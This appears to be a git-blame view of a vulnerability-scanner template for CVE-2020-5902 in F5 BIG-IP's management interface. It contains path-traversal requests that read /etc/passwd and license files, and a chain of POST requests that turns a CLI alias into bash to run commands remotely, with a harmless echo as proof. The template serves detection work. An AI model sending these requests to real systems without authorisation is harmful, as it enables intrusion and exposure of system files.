2021-01-02 04:56:15 +00:00
|
|
|
id: CVE-2020-5902
|
2020-07-05 08:11:58 +00:00
|
|
|
|
|
|
|
info:
|
|
|
|
name: F5 BIG-IP TMUI RCE
|
2020-08-23 00:37:43 +00:00
|
|
|
author: madrobot & dwisiswant0 & ringo
|
2020-07-05 08:11:58 +00:00
|
|
|
severity: high
|
2021-02-05 19:44:41 +00:00
|
|
|
tags: cve,cve2020,bigip,rce
|
2020-07-05 08:11:58 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2020-07-05 16:15:24 +00:00
|
|
|
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"
|
2020-07-06 11:14:01 +00:00
|
|
|
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/f5-release"
|
|
|
|
- "{{BaseURL}}/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.license"
|
2020-08-23 00:37:43 +00:00
|
|
|
- "{{BaseURL}}/hsqldb%0a"
|
2020-07-06 11:14:01 +00:00
|
|
|
matchers-condition: and
|
2020-07-05 08:11:58 +00:00
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2020-07-05 16:15:24 +00:00
|
|
|
- type: regex
|
|
|
|
regex:
|
|
|
|
- "root:[x*]:0:0:"
|
2020-07-06 11:14:01 +00:00
|
|
|
- "BIG-IP release ([\\d.]+)"
|
|
|
|
- "[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{5}-[a-fA-F]{7}"
|
2020-08-23 00:37:43 +00:00
|
|
|
- "HSQL Database Engine Servlet"
|
2020-07-06 11:14:01 +00:00
|
|
|
condition: or
|
2020-07-05 16:21:24 +00:00
|
|
|
part: body
|
2020-07-06 11:14:01 +00:00
|
|
|
- raw:
|
2020-07-06 11:28:20 +00:00
|
|
|
- |
|
|
|
|
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Connection: close
|
|
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
2020-07-06 11:14:01 +00:00
|
|
|
|
2020-07-06 14:45:44 +00:00
|
|
|
command=create%20cli%20alias%20private%20list%20command%20bash
|
2020-07-06 11:28:20 +00:00
|
|
|
- |
|
|
|
|
POST /tmui/locallb/workspace/fileSave.jsp HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Connection: close
|
|
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
2020-07-06 11:14:01 +00:00
|
|
|
|
2020-07-06 14:45:44 +00:00
|
|
|
fileName=%2Ftmp%2Fnonexistent&content=echo%20%27aDNsbDBfdzBSbGQK%27%20%7C%20base64%20-d
|
2020-07-06 11:28:20 +00:00
|
|
|
- |
|
|
|
|
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Connection: close
|
|
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
2020-07-06 11:14:01 +00:00
|
|
|
|
2020-07-06 14:45:44 +00:00
|
|
|
command=list%20%2Ftmp%2Fnonexistent
|
2020-07-06 11:28:20 +00:00
|
|
|
- |
|
|
|
|
POST /tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Connection: close
|
|
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
|
2020-07-06 11:14:01 +00:00
|
|
|
|
2020-07-06 14:45:44 +00:00
|
|
|
command=delete%20cli%20alias%20private%20list
|
2020-07-06 11:14:01 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
- type: word
|
|
|
|
words:
|
2020-08-23 00:37:43 +00:00
|
|
|
- "h3ll0_w0Rld"
|